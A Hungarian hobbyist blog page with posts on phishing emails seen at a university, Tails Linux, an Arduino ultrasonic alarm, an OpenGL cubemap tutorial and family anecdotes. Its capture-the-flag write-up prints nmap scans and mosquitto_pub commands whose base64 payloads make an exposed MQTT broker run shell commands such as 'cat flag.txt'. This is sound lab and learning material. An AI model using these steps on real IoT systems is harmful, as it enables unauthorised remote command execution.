HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF
  • sdani: @Travis.CG: Egy kis szerencse sosem árt. :D (2024.03.01. 13:19) A bioinformatika helyzete 2024-ben
  • Travis.CG: Szóval az akadémiai szféra mazochistává tett, amit a Pinephone-al élek ki? Hmm, érdekes összefüggé... (2023.10.05. 18:23) Új barátom az Informatikai titkárságról
  • Travis.CG: Túl nagy a hype körülötte, ezért túlzó elvárások vannak vele szembe. Ha a korábbi chatbotokhoz kép... (2023.02.28. 06:28) chatGPT, a bioinformatikus

Középsúlyú phising

2025.02.02. 11:25 Travis.CG

Legutóbb azon voltam kiakadva, hogy már az adathalász levelek sem a régiek. Csupa primitív, hátulgombolós módszerrel van tele az egyetemi levelezésem. Nem tudom, van-e összefüggés a poszttal (remélem nincs), de most kaptam pár valamire való phising emailt. Nézzük is meg, mire képesek.

Serverless módszer

Első emailem már megjelenésében is más.

phising1.png

Először is, csak egy címzett van, én. Más emailek általában olyan címekre mennek, amit minden dolgozó megkap, tehát az informatikusok is, korábban megkezdhetik az ellenlépéseket. Ebben nem. A levélben van CSS, formázás. Igaz, árulkodó, hogy hiányzik a címzett neve, a megszólítás is az email cím, tehát nem személyre szabott. Természetesen egy linket is tartalmaz, és a dolgok itt kezdenek érdekesek lenni.

A link ugyanis nem egy szerverre mutat , hanem egy Google Firebase alkalmazásra. Nincs dedikált szerver, nincs IP cím. Az alkalmazás egy kódolt JavaScriptet ad vissza.

js1.png

Szerencsére nem bonyolult a kódolás, ezért még én is boldogultam vele a KiberSzakács segítségével. Az eredmény egy nagyon szofisztikált kód. Szépen kommentelt, profi kódnak tűnik. Az eredményeket Telegram-ra küldi.

js2.png

Annyira szofisztikált a kód, hogy megkockáztatom, nem a támadó írta, hanem valaki más. A támadó csupán a saját igényeire szabta. A kód jellegzetességeire keresve van is találat itt. A telegram token más, ami azt valószínűsíti, hogy mások is használják a kódbázist a saját céljaikra. A Firebase alapú phising pedig másoknak is eszébe jutott.

Önnek új hangüzenete van

Második játékosunk hangüzenet értesítésnek álcázva küldte el az adathalász levelet. Már a szolgáltatás is elég nevetségesnek tűnik így 2025-ben. Hangüzenetről email-t küldeni? Amikor minden app-ba van ágyazva és folyamatosan pittyeg, hogy ne maradjunk le róla? Mindegy. Életemben nem hallottam a szólgáltatásról, és nem jött meg a kedvem a használatához.

A link (hxxps[://]www[.]travelzoo[.]com/newsflash/gtt/106533631-2877830_619/?ru=hxxps[://]dswwindsor[.]uk/3AfBLNZQT7?S=user@universitymail.hu) egy oldalra mutat, ahol valószínűleg RFI (remote file inclusion) sérülékenységet használtak ki. A lényege, hogy ha a weboldal úgy épül fel, hogy elemeket vesz át más fájlokból, és be tudunk szúrni más szerverekről tartalmakat, akkor a weboldal kinézetét, működését meg tudjuk változtatni.

Kicsit ront az összképen, hogy a link tartalmazza az eredeti URL-t is, tehát nagyon nem sikerült elrejteni a nyomokat, de talán az egyetem IP alapú szűrésén ezért tudott átmenni.

Összességében elmondható, hogy azért akadnak komolyabb játékosok is.

Szólj hozzá!

Címkék: biztonság

Tails: paranoidoknak

2025.01.26. 19:48 Travis.CG

Psszt! Nem követtek? Át kell, hogy kutassalak, nem vagy-e bedrótozva. Egy telefon? Össze kell törnöm ezzel a kővel, mert lenyomozhatnak vele! Oké, most már tiszta vagy. Illetve majdnem. Ezt tedd a fejedre. Igen, aluminium fóliából van, de így rejtve maradnak a gondolataink. Azt mondod túlzott biztonság? Ilyen nem létezik. Biztos megfeledkeztem még tucatnyi dologról. Például ott az a mókus, és minket néz. Bakker, még mindig bámul. Rágcsálja azt a magot, vagy mifenét, és minket néz! Oké, elfutott. Tudni akarod, miért találkozunk az erdő közepén? Ezt hoztam.

Próbálok minél messzebb kerülni a Gyíkemberektől, de nem megy. Néha kénytelen vagyok számítógépet és internetet használni. De megtaláltam a tökéletes megoldást. Mindjárt elmondom, mi az, csak már megint néz a mókus.

Szóval a megoldás, hogy nem használok számítógépet. Mármint nem használok saját számítógépet. A Tails Linux-al minden számítógép az én számítógépem. Legalábbis ha be tudom bootolni. Ez az operációs rendszer ugyanis egy USB tárolón van. Amikor számítógépet kell használnom, keresek egy gépet, bedugom a pendrive-ot, és elintézem, amit el kell, majd kikapcsolom. A nyomok nem hozzám, hanem a géphez vezetnek. Nem nagyszerű?

Be lehet állítani, hogy semmit ne tároljon az USB meghajtón. Hiába használom a gépeket, nem marad nyoma a pendrive-on. Ennek persze megvan a maga hátránya. Ha egy wifi hálózatot többször is használnék (amúgy ilyet nem csinálok), akkor újból be kellene írni a jelszót. Ha beállítjuk, hogy legyen állandó partíció, akkor tárolhatjuk rajta az információkat. Telepítésnél pontosan beállíthatjuk, mely programok menthetnek erre a partícióra és melyek nem. Mi van, ha elhagyom a pendrive-ot? Nos, ez a partíció titkosítva van alapból. De én fejben tárolok mindent. Az aluminium fóli pedig véd attól, hogy onnan bármit kiolvassanak. Igen, nagyon gyorsan mosok hajat, köszönöm, hogy megkérdezted.

Nem csak a partíció titkosított. Tails-en az internet forgalom Tor-on keresztül megy. Az internet szolgáltató nem fogja látni, mit nézel. Azt persze látni fogja, hogy Tor-t használok, de erre is van megoldás! Lehet konfigurálni Tor Bridge-et, amivel nem közvetlenül kapcsolódunk a Tor hálózathoz. Nekem természetesen ilyenem is van. Kettő is. Na jó, három, csak nem akartam a mókusok előtt mondani. Soha nem lehet tudni, kiknek adják tovább.

Akik mindig mozgásban vannak, azoknak nagy segítség egy ilyen rendszer. Mi a véleményed? Hogyan? Te egy Gyíkember vagy? És a mókusok? Ja, azok csak a figyelemelterelés volt!

Szólj hozzá!

Címkék: rendszergazda

Házi riasztó készítés (2. rész)

2025.01.12. 09:31 Travis.CG

Elkészült a kód első változata. Röviden menjünk végig rajta!

void setup() {
  pinMode(ECHO_PIN, INPUT);
  pinMode(TRIG_PIN, OUTPUT);
  pinMode(BUZZ_PIN, OUTPUT);
  motor.attach(SERVO_PIN);
  digitalWrite(TRIG_PIN, LOW);
  digitalWrite(BUZZ_PIN, LOW);
  Serial.begin(9600);
  motor.write(90); // set to middle position
  prevangleindex = 1;
  prefetch(); // waiting ~5 sec to leave the area
  initialize_distances(); // collecting initial distances
}

Inicializálom a pineket, hogy melyiken fogadom, illetve küldöm az adatokat. A motort középre állítom. A prefetch() csak egy időhúzó lépés, hogy az eszköz telepítése után legyen idő elhagyni a védendő területet. Ez idő alatt másodpercenként annyit csipog, amennyi másodperc eltelt a bekapcsolás után. Öt után elhalgat, a rendszer megkezdi a működését.

Az initialize_distances függyvényben ezután jobbra fordul a riasztó, 20-szor távolságot mér, majd kiszámolja a t-próba konfidencia intervallumait. A műveletet megismétli a középső és a bal oldalra való fordulás után. Ezt a függvényt collect_baseline-nak neveztem el, háromszor hívom meg az initialize_distances-en belül.

void collect_baseline(int orientation){
  float avg;
  float sd;
  collect_dists();
  avg = calc_avg();
  sd = calc_sd(avg);
  base[orientation].low = avg - T * (sd / sqrt(20.0));
  base[orientation].high = avg + T * (sd / sqrt(20.0));
}

A T a kritikus érték 19-es szabadsági fokra, mert 20 mintánk van, és 99.5% konfidencia intervallumra. (Először 95%-ra állítottam be, de az nem volt jó, később részletezem, miért.) Az érték a statisztikai könyvekben és a Wikipédián is megtalálható.

A kód loop része a következő:

void loop() {
  actualangleindex = random(3);
  smooth_step(angles[prevangleindex], angles[actualangleindex]);
  if(is_extreme_dist(actualangleindex) == true){
    tone(BUZZ_PIN, 300);
  } else {
    noTone(BUZZ_PIN);
  }
  prevangleindex = actualangleindex;
}

Választunk véletlenszerűen egy irányt, a motort szép lassan odaforgatjuk, végzünk újabb 20 mérést, majd egy t-próbával megnézzük, hogy eltér-e az átlag attól, amit a collect_baseline esetén rögzítettünk. (Beleesik-e a konfidencia intervallumba) Ha eltér, veszettül riasztunk. Ha nem tér el, kikapcsoljuk a hangot.

Nos, a próbák során elég gyatrán teljesít a riasztó. Bármit is csináltam, kb 2-3 perc működési idő után elkezdett folyamatosan sípolni. A hiba oka nagyon meglepett. A riasztó a motor folyamatos mozgásának hatására szép lassan vándorolni kezdett a sima felületű asztalon, ezért egy idő után úgy érzékelte, hogy minden megváltozott körülötte.

Ekkor kivettem a szervó mozgatását a kódból. A fals riasztások mégsem szűntek meg. Elkezdtem kiíratni milyen értékeket mér a szerkezet, illetve milyen átlagokat rögzített. A konfidencia intervallumok közelében jöttek a találatok. Igaz is, a 95% azt jelenti, hogy a mért értékek legfeljebb 95%-a ebbe a tartományba esik. De nem minden. Ekkor tértem át a 99,5%-ra. A fals találatok száma valóban lecsökkent, de nem szűnt meg!

A felület, amire a riasztót irányítottam, merőleges volt a szenzorra, és kb. 1,4 méterre volt. Valami ismeretlen okból viszont néha a húsz mérés átlaga 90 cm lett. Tehát hiába állt mozdulatlanuk a szerkezet, akkor is beriasztott. Több helyen is írták, hogy a levegő hőmérséklete befolyásolja a szenzor mérési pontosságát, illetve felléphet interferencia is. Jelen pillanatban egyikre sincs ötletem, hogyan küszöbölhetném ki.

Ha ez még nem lenne elég néha ki tudtam cselezni a készüléket. Az irányváltások között, amikor forgatja a motort, akkor nem rögzíti a távolságokat. Tehát ha ebben a pillanatban gyorsan átugrottam a riasztó előtt, akkor nem adott hangjelzést.

A fejlesztés következő lépése, hogy kipróbálom több mérési pont alkalmazását, illetve beiktatok még egy kis szünetet a mérések között, hátha csökken az interferencia. Valamint kellene némi csúszásgátló a riasztó talpa alá. Hihetetlen, hogy egy egyszerű projekt során mennyi probléma előjön!

Szólj hozzá!

Címkék: programozás barkácsolás

Bugged CTF

2025.01.05. 18:42 Travis.CG

Ez egy elég nehezen induló CTF volt. A leírás szerint John IoT eszközöket tesztel, amikor valami szokatlanra lesz figyelmes a hálózati kommunikációban. A nagy meglepetés akkor jött, amikor a szokásos nmap keresésekkel egyetlen nyitott portot sem találtam. Elég reménytelennek tűnt, hogy meg tudom oldani a feladatot, ha semmihez nem tudok kapcsolódni.

Akkor arra gondoltam, talán fordítva kellene megközelíteni a dolgot. Ahelyett, hogy agyba-főbe szkennelnék, ismeretlen szolgáltatások után kutatva, talán pont azokat a portokat kellene csak nézni, ahol IoT eszközök szoktak kommunikálni.

nmap -sV -Pn -T4 -p 1883,8883,5683,5684 $IP

Rögtön meg is találtam az 1883-as nyitott portot, ami a Mosquitto bróker dedikált portja. Erről azt kell tudni, hogy összegyűjti az összes eszköz üzeneteit. Minden eszköz egy úgynevezett topic-ot kap, amin keresztül az eszköz elküldi saját állapotát, illetve utasításokat küldhetünk. Két paranccsot kell ismerni: mosquitto_sub, illetve a mosquitto_pub. Először az összes topic üzenetét megnézzük:

mosquitto_sub -h $IP -t "#" -v

Ilyen üzeneteket fogunk kapni:

storage/thermostat {"id":16399166308056728698,"temperature":23.84387}
frontdeck/camera {"id":10197626378469785711,"yaxis":-52.378067,"xaxis":169.65857,"zoom":4.9340644,"movement":false}
kitchen/toaster {"id":11240011071394374848,"in_use":true,"temperature":145.64915,"toast_time":182}
patio/lights {"id":10737355647360197010,"color":"WHITE","status":"OFF"}
livingroom/speaker {"id":17707635654923183114,"gain":55}
storage/thermostat {"id":9129473732134212486,"temperature":23.747482}

Az első oszlop a topic, a második az üzenet maga. Mint látható, a termosztát, a kenyérpirító és a fények rendben működnek. Aztán kapunk valami ilyesmit:

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

Ez már érdekes, kezdünk közelebb jutni a megoldáshoz. Base64 kódolású. Dekódolás után ezt kapjuk:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Két újabb topic. A név alapján az egyiken üzeneteket küldhetünk, a másikon üzeneteket fogadhatunk. Legalábbis ezt feltételeztem. Már csak azt kell kitalálni, hogy milyen formában, és hova kell elküldeni az üzenetete. Itt próba-szerencse alapon küldtem ki az üzeneteket és néztem, mit válaszol a rendszer. A sub_topic-ra kell küldeni és a választ a pub_topic-ba kapjuk. Pont ellentétesen, mint ahogy feltételeztem. Ezért csak azt a topic-ot figyeltem ezután, amelyikre a válaszok érkeztek:

mosquitto_sub -h $IP -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

A leírás szerint mindent base64-el kell kódolni, ezért elbohóckodtam pár percet azzal, hogy pipe-oljam a mosquitto-t a base64-el, de a bufferelés miatt nem jártam sikerrel. Próbáltam az unbuffer-t is, de valami miatt azzal sem ment. Kénytelen voltam a cyberchef segítségét kérni. Kicsit kényelmetlen volt. Valószínűleg egy Python szkripttel meggyorsítható a folyamat, de sejtettem, hogy már közel a vége.

Először egy HELP kérést küldtem.

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJIRUxQIiwgImFyZyI6IiJ9'

A válasz részletesen leírta a használandó szintaktikát. Utána már bármilyen shell parancsot tudunk küldeni. Kiírathatjuk a flag.txt tartalmát:

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoiY2F0IGZsYWcudHh0In0='

Szólj hozzá!

Címkék: biztonság

Random karácsonyi történetek

2024.12.28. 11:43 Travis.CG

Anya, aki talált egy augmented reality appot:
- Nézd, lefotóztam neked a Mikulást! Ott áll a szobádban.
Nyolc éves gyerek fél szemmel a képernyőre sandít:
- Anya, ez Photoshop!
- Milyen shop? Nem shop-oltam! Nem lehet ilyen képet venni.

Nagymama:
- Nézd, kaptál egy madaras ágyneműt!
- Mama, ez a SpongyaBob!
- Akkor nem madár, hanem egy sajt?

Nagymama telefonhívást kap:
- Fogtok kimenni a teraszra?
- Nem, miért?
- Oda fogom rejteni az ajándékokat.
Nagypapa közbeszól:
- Mama, a telefonod ki van hangosítva!

Anya és Apa a webshopról rendelt ajándékokat rendszerezi:
- Ezt rendeltük Anettnak?
- Nem rémlik.
- Nem is úgy néz ki, mint a képen.
- Nagyon más.
- Szerinted örülni fog, ha ezt kapja?
- Hát persze.

- Az ikerk közül ki kapja a gyöngyfűzőt, és ki a karkötő készítőt?
- Dobj fel egy pénzérmét.

Gyerekeket beterelik egy szobába egy felnőttel, hogy Jézuskának legyen ideje a fa alá pakolni:
Egy perc múlva:
Első gyerek: - Pisilnem kell.
- Várj egy picit.
Második gyerek: - Szomjas vagyok!
- Most nem lehet kimenni.
Harmadik gyerek: - Melegem van!
- Mindjárt kimehettek.
- De nagyon kell...szomjan halok...meggyulladok!
Megszólal az ajándékozást jelző csengő. A gyerekek kirohannak és a dobozokra vetik magukat.
- Nem akartok előbb egy kicsit inni, pisilni, hűsölni?

Szólj hozzá!

Címkék: életmód

Házi riasztó készítés (1. rész)

2024.12.22. 22:19 Travis.CG

Gondoltam építek egy ultrahang szenzoros riasztót. A cél az volt, hogy minél nehezebben lehessen kicselezni, bárhova telepíthető legyen, könnyen lehessen szállítani, és a mérete kicsi legyen.

Így esett a választás az egyik műanyag ételdobozra, ami a sok mikrózás miatt már étel tárolására nem alkalmas. Kivágtam két lyukat rajta és beleragasztottam az ultrahang szenzort.

alap.jpg

Rékötöttem egy AVRDuino-t, és elkezdtem tesztelni. A kód első verziója a neten is fellelhető tutorialokat utánozta. Arra voltam kíváncsi, mennyire hatékony a szenzor, ezért csak a távolság adatokat írattam ki a soros portra.

A tapasztalatok a következők voltak: 4m méter után semmit nem érzékel a szerkezet. Puha anyagoknál megnő a mért jel szórása. Ha a tárgy felszíne nem merőleges szenzorra, gyengébb jelet kapok, illetve a szórás itt is nagyobb lesz.

Az eredményeket összegezve arra jutottam, hogy a cuccnak a következő módon kell működnie: bekapcsolom, a szerkezet vár, hogy elhagyjam a védendő területet. Feltérképezi a teret, megjegyzi az alap távolságot. Aktiválja magát, és ha a mért távolság eltér attól, amit korábban érzékelt, akkor jelez.

Ezzel csak egy probléma van, könnyű kikerülni, ha mindig egy irányba néz. Azt találtam ki, hogy egy szervó motorral fogom forgatni a dobozt, mintha egy kacsalábon forgó palota lenne. Szerencsére a doboz henger alakú. Ez az ötlet nagyon megtetszett. A doboz teteje lehetne a talpa is egyben.

Először kifúrtam a doboz közepét, és oda rogzítettem a szervő motort. Az új design-al az volt a gond, hogy jól ki kellett egyensúlyozni. Az irányító szerepet játszó AVRDuino ezért a motor fölött volt. Találtam néhány távtartót, ami elég magas volt, hogy a motor fölé emelje a mikrokontrollert.

tavtarto.jpg

Szükség volt még egy kis hangszóróra, hogy jelezze a risztást, illetve azt is, mikortól aktiválja magát a rendszer.

A doboz tetejére kellett a szervó karját szerelni. Nem bíztam a ragasztókba, ezért egy vékony dróttal rögzítettem azt. Aggódtam, hogy esetleg nem tudok olyan apró lyukakat fúrni a doboz tetejébe, de az aggodalmam alaptalan volt. Egy vastagabb varrótű simán megtette, még melegíteni sem kellett.

teto.jpg

Először egy próbapanelen kötöttem össze az egységeket, és írtam egy próbakódot. Ebben a verzióban csak akkor jelezett a riasztó, ha 1,5 méternél közelebb érzékelt valamit. A motor három pozícióba állítja be a dobozt: 45 fok, 90 fok, 135 fok. Azért, hogy még nehezebb legyen kicselezni, a pozíciók véletlenszerűen váltják egymást, így a forgás elég kiszámíthatatlan.

proba.jpg

A tesztelés jó játék volt a lányommal, megpróbáltuk kicselezni a készüléket. Akinél jelzett, az veszített. Ő nyert, mert elfért azon a kis résen, ami a fal és szenzor mérési határa között volt.

A prototípus elég jól működött, ezért készítettem egy kis próbapanelt, amire ráforrasztottam az alkatrészeket. A forrasztás még mindig nem megy valami jól, mint az látható a képeken. Többször ellenőriztem is multiméterrel, nehogy az áram nemkívánt irányba menjen. Szerencsére minden rendben volt, a próbapanel jól vizsgázott. Még a tetejét is rá lehet tenni a könnyű szállítás végett.

pcb.jpg

Tapasztalatok a jelenlegi működés alapján: A szervó túl gyors, a forgási tengely túl kicsi, kellene valami, ami plusz támasztékot biztosít (hasonló megoldás kellene, mint ami a mikróhullámú sütő tányérja alatt is van). Meg kell oldani a tápellátást is. A hardveren viszont nem tervezek nagyobb változtatást. A következő részben a kódot fogom bemutatni.

final.jpg

Szólj hozzá!

Címkék: barkácsolás

Így próbálkoznak a scriptkidek

2024.12.15. 10:01 Travis.CG

Naponta tucatjával jönnek az egyetemi levelezőrendszerre az adathalász levelek. De olyan szinten primitív módszereket használnak, hogy az már fáj. (Néha arra gondolok valójában ezek az IT részleg felmérései, hogy milyen a felhasználók tudatossága.)

A legbénább módszer, amikor az adatokat egy közönséges gmail címre kérik. Még arra sem veszik a fáradságot, hogy egy honlapot összedobjanak. Bár az is lehet, hogy csak nem értenek hozzá.

Egy fokkal igényesebb, ha egy ingyenes tárhely szolgáltató felületén létrehoznak egy annyira primitív oldalt, hogy még képet, CSS-t, semmit nem raknak bele. Rövid szöveg, két beviteli mező, meg egy gomb, hogy elküldjék az adatokat. Most épp a glitch.me a menő, arra irányít át a legtöbb szemét. A form feldolgozását pedig a Formspark-ra bízzák. Ez egyrészt védettséget biztosít a támadónak, mert névtelen, de cserébe könnyű keresztbe tenni nekik.

Alapvetően nem szabad ismeretlen linkre kattintani, de aki szeretné kivenni a részét a védekezésből, és egy átlagos felhasználónál többet tud a számítógépekről, annak leírom, mit tehet.

Először is a linket kimásoljuk a levélből. Linux alatt wget-el letöltjük az oldalt, és megnézzük, mit tartalmaz. Ha csak sima HTML-ből áll, akkor rendben van, folytathatjuk a munkát, ha semmit nem értünk abból, amit látunk, akkor töröljük a levelet is, a letöltött weboldalt is. Nem éri meg a rizikót.

Sima HTML esetén könnyű kiszúrni, hova is küldi az adatot. Ez a Formspark esetén egy submit-form.com lesz, GET-es paraméterben pedig egy egyedi azonosító. Ez kell nekünk! Ez alapján tudunk riportot küldeni ide.

Ha véletlenül mégis böngészőből kattintottunk rá, és elküldtük az adatainkat, akkor sincs minden veszve. A form elküldése után is megjelenik egy report abuse link. Itt is jelenthetjük a dolgot, de akkor minden esetben meg kell változtatni a levelező rendszerben az emailt. Lehetőleg gyorsabban, minthogy a támadó tenné meg :-)

Miért nem akadályozza meg a Formspark, hogy elkészüljön egy ilyen oldal? Nos, ők próbálkoznak, feltételezem van egy tiltott szavak listája, ami ha szerepel a weboldalon, akkor nem engedik rá a nagyvilágra. Ha viszont megnézzük, hogyan épül fel a weboldal, akkor sehol nem szerepel például a "password" szó. Az input mező is "anyword" névvel van ellátva. Egyedül magyarul szerepel, ez pedig feltételezem nincs benne a tiltott szavak listájában. Ezért mikor jelentettem a dolgot, fel is hívtam rá a figyelmet.

Egyébként a támadó egyetemekre szakosodhatott, mert az email aláírásában a Semmelweis szerepelt, nem az én munkahelyem. Szóval a támadó még arra sem vette a fáradságot, hogy különböző egyetemeknek más szöveggel küldjön emailt.

A harmadik szint már egy fokkal jobb. Ők a türelmesek. Ők is primitív módszerekkel dolgoznak, de nem puffogtatják el a muníciójukat azonnal. Várnak a megfelelő alkalomra.

Egyszer például jött egy valódi email az IT részlegről, hogy nagy átállás lesz, kiesik az internet, nem lesz email egy ideig, stb. A karbantartás befejeződése után három különböző spam jött amiben arról írtak, hogy a rendszerfrissítés után nem sikerült visszaállítani az emailemet! Ami egy paradoxon, mert akkor hogy kaptam meg a spam-et? Ráadásul annak ellenére, hogy vannak nagy nyelvi modellek, a levelek mégsem tudtak rendesen magyarul.

Ami megrémített, az az időzítés pontossága volt. Ha még csak egy levélről lett volna szó, azt gondoltam volna, hogy szerencséjük volt az időzítéssel. De három? Legjobb esetben az IT tesztelt minket, felhasználókat, legrosszabb esetben pedig van egy belsős. Egy vakond...

Már csak egy kérdés van hátra: miért ilyen primitívek ezek az adathalász levelek? Hol vannak azok a levelek, ahol a rendőrség fejlécét használják, hogy minél élethűbb legyen a csalás? Hol vannak azok az ál-oldalak, ahol a bejegyzett URL csak egy karakterben tér el attól, amit utánoz?

Minél többet gondolkodok rajta, a válasz annál ijesztőbb. Egy Asimov novella arról elmélkedett, hogy a szuperhős megjelenése magával hozza a szupergonosz megjelenését is, mert csak ők képesek hatákonyan bűnözni. Ezt a logikát a mi esetünkre is átültethetjük. A támadók nyilván a legkevesebb energiát akarják beleölni egy támadásba. A legkevesebbet, amivel azért eredményt tudnak elérni. Ha nulla eredményt érnének el, akkor vagy nem próbálkoznának többször, vagy több energiát tennének bele. Ahogy a fenti példa is mutatja, nem tesznek bele több energiát. Vagyis ennyi munkával eredményt lehet elérni.

A másik lehetőség, hogy ennyi munkával nem lehet eredményt elérni, ezért feladják a próbálkozást, de mivel mindig újabb és újabb scriptkidek lépnek a helyükre, folyamatos a fenyegetettség.

Szólj hozzá!

Címkék: biztonság

Dinamikus cubemap

2024.12.10. 19:48 Travis.CG

A magyarul viccesen hangzó kockatérképet (cubemap) elsősorban tükröződő felületek elkészítésére lehet használni. Olyan, mintha egy 360 fokos kamerával fényképeznénk. A tér minden irányába készítünk egy felvételt, és mindegyik oldalról elmentjük a képet egy textúrába. A neten fellelhető statikus példák helyett most egy dinamikus módszert mutatok be. Github-on is van egy csomó program, de némelyik látható hibáktól hemzseg. Ezért is döntöttem ennek bejegyzésnek a megírásáról.

A módszer hasonlít a textúrába renderelésre, ezért először egy framebuffert hozunk létre.

glGenFramebuffers(1, &fbo);
glBindFramebuffer(GL_FRAMEBUFFER, fbo);

A második lépés már egy kicsit különbözik, ugyanis létre kell hozni egy textúrát, de típusnak cubemap-et kell beállítani.

glGenTextures(1, &cubemap);
glBindTexture(GL_TEXTURE_CUBE_MAP, cubemap);

Most már elhagyjuk a biztonságos zónát. Hat textúrát kell beállítanunk, mindegyik dimenziónak kettőt. Mindegyik textúrának ugyan olyan típusúnak kell lennie. Habár a textúrák tetszőleges méretűek lehetnek OpenGL-ben, a kockatérképnél ez nem igaz. Itt kötelező a négyzet alak. (Habár ez így logikusnak tűnik, én egy napot kerestem a hibát a kódomban, mire rájöttem, hogy a méret inicializálással szúrtam el.)

glTexImage2D(GL_TEXTURE_CUBE_MAP_POSITIVE_X, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);
glTexImage2D(GL_TEXTURE_CUBE_MAP_NEGATIVE_X, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);
glTexImage2D(GL_TEXTURE_CUBE_MAP_POSITIVE_Y, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);
glTexImage2D(GL_TEXTURE_CUBE_MAP_NEGATIVE_Y, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);
glTexImage2D(GL_TEXTURE_CUBE_MAP_POSITIVE_Z, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);
glTexImage2D(GL_TEXTURE_CUBE_MAP_NEGATIVE_Z, 0, GL_RGBA, size, size, 0, GL_RGBA, GL_UNSIGNED_INT, 0);

Ez a sok repetitív kód kicsit lehangoló lehet, ezért elárulom, hogy a függvény első paramétere egymást követő egész számok, ezért ciklusba szervezhetőek. Most csak a szemléltetés miatt vannak így leírva.

Ahogy lenni szokott, jönnek a textúra paraméterei. Fontos megjegyezni, hogy nem szeretnénk, ha a kocka éleinél ne legyen ronda csík, akkor GL_CLAMP_TO_EDGE opciót érdemes bekapcsolni.

De ez még nem elég. Kell egy renderbuffer, és a legtöbb esetben egy mélységi puffer is, hogy a renderelés során a takarások szépen jelenjenek meg. Természetesen a mérete akkora kell, hogy legyen, mint a fenti textúráknak.

glGenRenderbuffers(1, &render);
glBindRenderbuffer(GL_RENDERBUFFER, render);
glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH_COMPONENT, size, size);

A legvégén mindig érdemes ellenőrizni a framebufferünket a glCheckFramebufferStatus-al, majd a framebuffer és a textúra állapotát nullára állítani.

if(glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE){
   printf("no framebuffer\n");
}
glBindFramebuffer(GL_FRAMEBUFFER, 0);
glBindTexture(GL_TEXTURE_CUBE_MAP, 0);

Amikor eljön a renderelés ideje, akkor a jelenetet hatszor kell előállítani és a kamerát a megfelelő irányba állítani, hogy a kép a kocka megfelelő oldalára kerüljön. Tegyük fel, hogy a jelenetünket a geometry() nevű függvényben foglaltuk össze, aminek egy 4x4-es kamera mátrix a paramétere. Nem szabad elfelejteni, hogy ennek a függvénynek tartalmaznia kell a glClear() függvényt is.

glBindFramebuffer(GL_FRAMEBUFFER, fbo);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_POSITIVE_X, cubemap, 0);
camera.lookAt(pos, target1, up1);
geometry(camera);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_NEGATIVE_X, cubemap, 0);
camera.lookAt(pos, target2, up2);
geometry(camera);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_POSITIVE_Y, cubemap, 0);
camera.lookAt(pos, target3, up3);
geometry(camera);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_NEGATIVE_Y, cubemap, 0);
camera.lookAt(pos, target4, up4);
geometry(camera);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_POSITIVE_Z, cubemap, 0);
camera.lookAt(pos, target5, up5);
geometry(camera);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_CUBE_MAP_NEGATIVE_Z, cubemap, 0);
camera.lookAt(pos, target6, up6);
geometry(camera);

Az kamera "up" paramétere redundáns, nincs szükség 6 különböző értékre. Természetesen kreatív kódolással ezt is ciklusba lehet szervezni, amit az olvasóra bízok.

Ezután jön egy újabb renderelés, ahol felhasználjuk a generált kockatérképet. Először csatoljuk a textúrát, ahogy bármelyik 2D textúrával is tennénk. A loc változó a glGetUniformLocation visszatérési értéke.

glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_CUBE_MAP, cubemap);
glUniform1i(loc, 0);

A shaderen belül a következő módon hivatkozunk a cubemap-re:

uniform samplerCube image;

Ez esetben "image" a változó neve, de természetesen bármi lehet, a lényeg, a típus. A képet ezután a shaderben felhasználhatjuk.

